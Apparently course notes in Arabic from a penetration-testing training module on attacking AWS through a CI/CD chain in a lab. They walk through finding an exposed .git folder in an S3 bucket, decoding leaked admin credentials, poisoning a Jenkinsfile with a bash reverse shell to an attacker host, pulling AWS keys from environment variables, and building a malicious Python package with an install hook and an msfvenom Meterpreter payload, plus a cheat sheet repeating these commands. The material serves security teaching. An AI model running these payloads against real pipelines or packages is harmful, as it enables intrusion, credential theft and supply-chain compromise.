01مشهد تهديدات CI/CD Pipeline

ليه الـ Pipelines هدف أساسي للمهاجمين

الـ Pipelines بتؤتمت بناء التطبيقات واختبارها ونشرها — وعشان تعمل كده، بتحتاج وصول واسع لكل حاجة في البيئة. اختراق Pipeline واحد يعني وراثة كل صلاحياته.

1مستودعات الكود المصدري (Source Code Repositories)
2بيانات اعتماد الخدمات السحابية (AWS keys، tokens)
3بيئات النشر (Staging، Production)
4سجلات الحاويات ومخازن الـ Artifacts

OWASP CI/CD Security Top 10

Poisoned Pipeline Execution — المفهوم الجوهري

المهاجم بيتلاعب في سكريبتات البناء أو النشر، فتتنفّذ أوامر خبيثة أثناء تشغيل الـ Pipeline تلقائيًا. الـ Pipeline نفسه بيتحوّل لناقل الهجوم.

إمكانيات ما بعد التسميم

تسريب الأسرار ومتغيرات البيئة، فتح Reverse Shell على سيرفر البناء، حقن كود خبيث في عمليات النشر الإنتاجية، أو الـ Pivot للبنية السحابية باستخدام بيانات اعتماد الـ Pipeline نفسه.

Dependency Chain Abuse

نشر حزمة خبيثة بتقلّد Dependency شرعية — نظام البناء بيحمّلها وينفّذها تلقائيًا. بمجرد تشغيل الحزمة المخترَقة جوه الـ Pipeline: فحص الشبكات الداخلية، التحرّك الجانبي لبنية تحتية تانية، أو الوصول لملفات Terraform state اللي فيها مفاتيح عالية الصلاحية.

نقطة حرجة

سلسلة التوريد (Supply Chain) نفسها بتتحوّل لآلية توصيل الحمولة.


02بيئة المعمل

مكوّنات المعمل

KaliالمهاجمDNSاكتشاف النطاقGiteaSCMJenkinsCI/CDAWSS3+Lambda+EC2
بنية المعمل — من المهاجم وحتى بنية AWS الهدف

03تعداد سيرفر الأتمتة (Jenkins)

إيه اللي نبحث عنه

Metasploit لـ Jenkins

فيه موديولات مخصّصة لفحص الإصدار الشغّال، تحديد الـ Endpoints المتاحة مقابل المحمية، وتعداد الإضافات (Plugins) المثبّتة.

ليه اكتشاف الإصدار مهم جدًا


04تعداد سيرفر Git (Gitea)

السحابي مقابل ذاتي الاستضافة

Cloud
GitHub / GitLab
التركيز على OSINT فقط — المستودعات العامة، سجل الـ Commits، بروفايلات المطوّرين، الأسرار المكشوفة في الـ Commits. ممنوع مهاجمة المنصة نفسها — فقط الأصول المملوكة للمؤسسة الهدف، باستخدام Gitleaks وTruffleHog وGitHub Dorking.
Self-Hosted
Gitea / GitLab CE
التعداد التقني داخل النطاق: إصدار البرنامج → بحث CVE، إعدادات مصادقة خاطئة، تعداد المستخدمين عبر API، وتخمين كلمات المرور ممكن (قاعدة مستخدمين صغيرة → هجمات موجَّهة). اكتشاف حساب الأدمن قيمة عالية جدًا.

نتائج تعداد Gitea

أهمية الأسماء المكشوفة

أسماء المستخدمين الظاهرة (موظفين عاديين + حساب أدمن) بتتحوّل لأهداف مباشرة لهجمات بيانات الاعتماد.


05تعداد التطبيق الهدف

1
اكتشاف المحتوى الآلي

تشغيل dirb على التطبيق الهدف — النتيجة غالبًا محدودة (الصفحة الرئيسية بس)، ده بيدل إما على عدم وجود مجلدات مخفية واضحة، أو إنها محمية/بأسماء غير قياسية. لما الأدوات الآلية تفشل، التحليل اليدوي بيبقى أساسي.

2
فحص مصدر HTML

View Page Source (Ctrl+U) بيكشف روابط صور بتشاور على S3 bucket بالنمط https://<bucket>.s3.amazonaws.com/<path> — تأكيد إن المحتوى الثابت بيتقدَّم مباشرة من AWS S3، واسم الـ Bucket بقى معروف.

3
فحص الـ S3 Bucket

الوصول لجذر الـ Bucket مباشرة بيرجّع Access Denied (قائمة المجلدات معطّلة) — لكن Access Denied مش معناها آمن. استخدام Wordlist لفحص مسارات مخفية بيكشف مجلد .git/ — مستودع Git كامل اتنقل بالغلط لتخزين عام!

recon commands
dirb http://target.com /usr/share/wordlists/dirb/common.txt

curl https://<bucket>.s3.amazonaws.com/
# Access Denied — لكن مش آمن بالضرورة

gobuster dir -u https://<bucket>.s3.amazonaws.com/ -w wordlist.txt
# اكتشاف حرج: .git/ موجود!

06اكتشاف أسرار S3 Bucket

ليه مجلد .git حرج جدًا

1
سرد محتويات الـ Bucket

استخدام AWS CLI (بعد المصادقة) لسرد الـ Bucket — بيكشف .git/، Jenkinsfile، docker-compose.yml، ومجلد scripts/.

2
تحميل ملفات محددة

aws s3 cp s3://bucket/README.md ./ — يؤكد صلاحية القراءة، وبيكشف أسماء المتعاونين وسير العمل.

3
تحميل كامل بالمزامنة

aws s3 sync s3://bucket-name ./local/ — بينسخ كل حاجة بما فيها أوبجكتس .git المخفية.

4
فحص السكريبتات

السكريبتات غالبًا فيها أسماء AWS profiles، بيانات اعتماد، استدعاءات API، وروابط نقاط نهاية داخلية.

5
فحص بـ Gitleaks

فحص آلي لتاريخ المستودع بالكامل — بيكتشف مفاتيح API وTokens وبيانات اعتماد مكشوفة.

6
فك ترميز النتائج يدويًا

رؤوس HTTP Basic Auth مرمّزة بـ Base64 جوه السكريبتات → فك الترميز بيكشف اسم مستخدم:كلمة مرور الأدمن.

s3 + gitleaks workflow
aws s3 ls s3://bucket-name/
aws s3 sync s3://bucket-name ./local/
gitleaks detect --source ./local/ -v
السكريبت المكشوف

سكريبت بيحدّث المتعاونين في سيرفر Git عبر API، بياخد اسم مستخدم وكلمة مرور كـ Arguments، وبيبني رأس HTTP Basic Authentication:

echo 'YWRtaW46UEBzc3dvcmQx' | base64 -d → admin:P@ssword1

مسار الهجوم حتى الآن: S3 Bucket مُعدّ بشكل خاطئ ← مستودع .git مكشوف ← بيانات اعتماد مسرَّبة ← وصول أدمن كامل على Gitea (كل المستودعات الخاصة، تعديل الكود، تعديل الـ Jenkinsfile، إضافة مفاتيح SSH للاستمرارية).


07تسميم CI/CD Pipeline

ملفات إعداد الـ Pipeline

المنصةملف الإعداد
JenkinsJenkinsfile
GitLab.gitlab-ci.yml
GitHub.github/workflows/*.yml

المشغّلات (Triggers): Push كوميتات لفرع، فتح أو تحديث Pull Request، تنفيذ مجدوَل (cron)، أو Webhook من حدث في المستودع. صلاحية كتابة على المستودع + Webhook مفعَّل = تنفيذ كود.

تحديد الـ Pipeline عالي القيمة

نقطة حرجة

قالب CloudFormation بينشر نظام معالجة صور: Bucketين خاصين (صور أصلية + صور مصغّرة)، Lambda function، وIAM role محدود الصلاحيات للـ Lambda. لكن بيانات اعتماد Jenkins نفسها اللي بتنشر البنية دي عندها صلاحيات أوسع بكتير — هي الهدف الأفضل.

1
تحديد الـ Pipeline الهدف

إيجاد image-transform — الـ Jenkinsfile بتاعه بيستخدم withAWS block.

2
تجهيز Jenkinsfile خبيث

الحفاظ على withAWS block (عشان تفضل بيانات الاعتماد شغّالة)، وإضافة Stage جديدة بتنفّذ أوامر شل.

3
اختبار التنفيذ أولًا

إرسال طلب curl بسيط لسيرفر تحت سيطرة المهاجم — للتأكد من الاتصال الخارجي وتنفيذ الأوامر.

4
إدخال Reverse Shell

استبدال الاختبار بـ Bash reverse shell، وتشغيله في الخلفية لتجنّب الـ Timeout.

5
دفع الملف المعدَّل

Commit وPush للمستودع — الـ Webhook بيكتشف التغيير ويشغّل الـ Pipeline تلقائيًا.

6
استقبال الشل

مستمع Netcat على جهاز المهاجم بيستقبل الاتصال من Jenkins build agent.

jenkinsfile — poisoned payload
pipeline {
  agent any
  stages {
    stage('Deploy') {
      steps {
        withAWS(credentials: 'aws_key') {
          script {
            if (isUnix()) {
              sh '''
                nohup bash -i >& /dev/tcp/ATTACKER/4444 0>&1 &
              '''
            }
          }
        } // withAWS بيحافظ على بيانات الاعتماد!
      }
    }
  }
}

08تعداد Build Agent

الخطوات الأولى بعد الحصول على شل

تأكيد بيئة الحاوية

container confirmation
cat /proc/mounts | grep overlay
# مسارات Overlay filesystem → حاوية Docker مؤكَّدة

cat /proc/1/status | grep Cap
capsh --decode=<hex_value>
# النتيجة: الحاوية عندها Capabilities إدارية واسعة
مؤشر خطر

مستخدم غير مميَّز + Capabilities عالية = احتمال وارد لـ Container Escape.

استخراج بيانات اعتماد AWS من البيئة

الـ withAWS block بتاع الـ Pipeline حقن بيانات الاعتماد في متغيرات البيئة أثناء التنفيذ.

env — extract aws credentials
env | grep -i aws

AWS_ACCESS_KEY_ID=AKIA...
AWS_SECRET_ACCESS_KEY=abc123...
AWS_DEFAULT_REGION=us-east-1

# استخدامها على Kali:
aws configure --profile pipeline
# بعدين عدّد إيه اللي المفاتيح دي تقدر توصله!

09حزمة Python خبيثة

كيف تعمل هجمات Dependency Chain

أقل هيكل لحزمة Python صالحة

minimal package layout
# hackshort-util/            (اسم الحزمة بشرطات)
#   setup.py
#   hackshort_util/__init__.py  (شرطات سفلية للاستيراد)

from setuptools import setup
setup(name='hackshort-util', version='1.0', packages=['hackshort_util'])

# البناء:
python3 setup.py sdist   # ينشئ أرشيف .tar.gz

تسليح setup.py — تنفيذ وقت التثبيت

عبر تجاوز (Override) كلاس أمر التثبيت في setup.py — دالة run() بتتنفّذ أثناء pip install. حتى من غير استيراد الحزمة، مجرد تثبيتها يكفي لتشغيل الحمولة — وده بيشتعل جوه أي Pipeline بينفّذ pip install -r requirements.txt.

سلسلة الهجوم الكاملة بـ Meterpreter

توليد حمولة Meterpreter بـ msfvenom ← إضافتها لـ utils.py (تشتعل عند الاستيراد) ← تجاوز run() في setup.py (تشتعل عند pip install) ← إعادة بناء الحزمة ورفعها لمرآة PyPI داخلية ← انتظار إعادة بناء سيرفر الإنتاج ← فتح جلسة Meterpreter.

msfvenom + malicious package
msfvenom -p python/meterpreter/reverse_tcp \
  LHOST=192.168.118.4 LPORT=4444 -f raw > payload.py

# جوه utils.py:
exec(open('payload.py').read())  # يشتعل عند الاستيراد

python3 setup.py sdist
python3 setup.py sdist upload -r NetLab

# على Metasploit:
use exploit/multi/handler
set PAYLOAD python/meterpreter/reverse_tcp
run -j   # انتظار إعادة بناء الإنتاج!

10ما بعد الاستغلال وPivoting

تعداد حاوية الإنتاج

فحص الشبكة الداخلية — نهج خفيف

المشكلة: مفيش nmap أو netstat جوه الحاوية. الحل: كتابة Port Scanner بـ Python باستخدام socket.connect_ex() من غير أي أدوات خارجية — أسرع وأخف وأكثر تخفّيًا من Nmap اللي غالبًا مش مثبّت في الحاويات Minimal وأصلًا ضجيجه أعلى وقابل للكشف من IDS/IPS.

اكتشاف Jenkins الداخلي

فحص الشبكة بيكشف نسخة Jenkins داخلية — سيرفرات CI/CD بتحتفظ بكل بيانات اعتماد النشر ومتصلة بالكود المصدري والبنية الإنتاجية. ممكن يكون عندها تسجيل ذاتي مفعَّل.

lightweight port scan + jenkins discovery
python3 -c "
import socket
for port in [80,443,8080,8443,22,3306]:
    s=socket.socket(); s.settimeout(0.5)
    if not s.connect_ex(('10.x.x.x',port)):
        print(f'{port} open')"
# 8080 open → Jenkins!

curl http://10.x.x.x:8080/
# التسجيل الذاتي مفعَّل!

curl http://10.x.x.x:8080/plugin/s3explorer/ | grep -i aws
# مفاتيح AWS في مصدر الصفحة!
الدورة تتكرر

بعد إنشاء حساب وتسجيل الدخول، تصفّح الإضافات (Plugins) → S3 Explorer → مصدر الصفحة فيه بيانات اعتماد AWS جديدة لاستخدامها في تعداد Buckets إضافية.


--سلسلة الهجوم الكاملة

1
تعداد التطبيق

فحص dirb ما لقى حاجة → مصدر HTML كشف رابط S3 bucket مع أصول صور.

2
استكشاف S3 Bucket

سرد المجلد محظور → فحص Wordlist لقى مجلد .git/ مخفي في التخزين العام.

3
تحميل وتحليل المستودع

aws s3 sync بيحمّل المستودع كامل بما فيه Jenkinsfile وسكريبتات الأتمتة.

4
استخراج بيانات الاعتماد

سكريبت فيه HTTP Basic Auth مرمّز بـ Base64 → فك الترميز → admin:P@ssword1 لـ Gitea.

5
تسميم الـ Pipeline

تسجيل دخول كأدمن على Gitea → تعديل Jenkinsfile في image-transform → Push → الـ Webhook بيشتعل.

6
شل على Build Agent

Jenkins بينفّذ الـ Pipeline المسمَّم → Reverse shell بيفتح → متغيرات البيئة فيها بيانات اعتماد AWS.

7
هجوم Dependency Chain

إنشاء حزمة Python خبيثة → رفعها على PyPI داخلي → سيرفر الإنتاج بيثبّتها → Meterpreter.

8
ما بعد الاستغلال

Root على الحاوية → فحص متغيرات البيئة → فحص الشبكة الداخلية → إيجاد Jenkins → بيانات اعتماد AWS جديدة عبر S3 Explorer.


--Cheat Sheet مرجعي

تعداد S3 وGit

quick reference
dirb http://target.com /usr/share/wordlists/dirb/common.txt
gobuster dir -u https://<bucket>.s3.amazonaws.com/ -w wordlist.txt
aws s3 ls s3://bucket-name/
aws s3 sync s3://bucket-name ./local/
gitleaks detect --source ./local/ -v

تسميم Jenkins Pipeline

jenkinsfile reverse shell stage
stage('Deploy') {
  steps {
    withAWS(credentials: 'aws_key') {
      sh 'nohup bash -i >& /dev/tcp/ATTACKER/4444 0>&1 &'
    }
  }
}

استخراج بيانات اعتماد AWS من حاوية

quick reference
env | grep -i aws
cat /proc/mounts | grep overlay
cat /proc/1/status | grep Cap
aws configure --profile pipeline

حزمة Python خبيثة

quick reference
msfvenom -p python/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f raw > payload.py
python3 setup.py sdist
python3 setup.py sdist upload -r <internal-pypi>

Quick Wins — أسرع المسارات في بيئة AWS CI/CD

#التحققالأمرالمسار المناسب
1صور ثابتة بتتقدَّم من S3؟فحص مصدر HTMLتحديد اسم الـ Bucket
2فيه .git مكشوف جوه الـ Bucket؟gobuster + aws s3 syncتسريب أسرار Git History
3Jenkinsfile بيستخدم withAWS؟فحص المستودعاتPipeline Poisoning
4متغيرات بيئة فيها AWS keys؟env | grep -i awsاستخدام بيانات اعتماد Pipeline
5requirements.txt بيثبّت حزم تلقائيًا؟فحص PyPI الداخليDependency Chain Attack

الخلاصة العامة للموديول

الموديول ده غطّى مهاجمة بنية AWS السحابية عبر سلسلة CI/CD كاملة — بداية من S3 bucket مُعدّ بشكل خاطئ، مرورًا بتسريب أسرار Git وتسميم Jenkins Pipeline، ووصولًا لهجوم Dependency Chain وPivoting الداخلي بين حاويات الإنتاج.

$ cat ./module23_summary.txt

كل هجمات الموديول ده مبنية على فكرة واحدة: الثقة الممنوحة لـ Pipeline وتخزين سحابي أكبر من التحقق الفعلي المطبَّق عليهم. المختبر اللي بيتتبّع سلسلة الثقة دي — من S3 العام وحتى بيانات اعتماد الـ Pipeline — هو اللي بيوصل لسيطرة كاملة على البنية السحابية بأقل عدد خطوات.

Professional Mindset

في الـ Engagement الحقيقي: ابدأ دايمًا بتعداد سطح الهجوم الخارجي (تطبيق الويب، S3 buckets، سيرفرات Git/CI معروفة) → افحص أي تخزين عام بحثًا عن مستودعات أو ملفات إعداد مسرَّبة → استخدم أي بيانات اعتماد مكتشَفة لتصعيد الوصول على سيرفر Git أو CI/CD → استغل صلاحيات الـ Pipeline نفسها بدل محاولة استغلال التطبيق مباشرة → وبمجرد الوصول لشل على Build Agent، افحص متغيرات البيئة فورًا. وثَّق كل خطوة، حتى الفاشلة.


نهاية نوتس الموديول الثالث والعشرين — Attacking AWS Cloud Infrastructure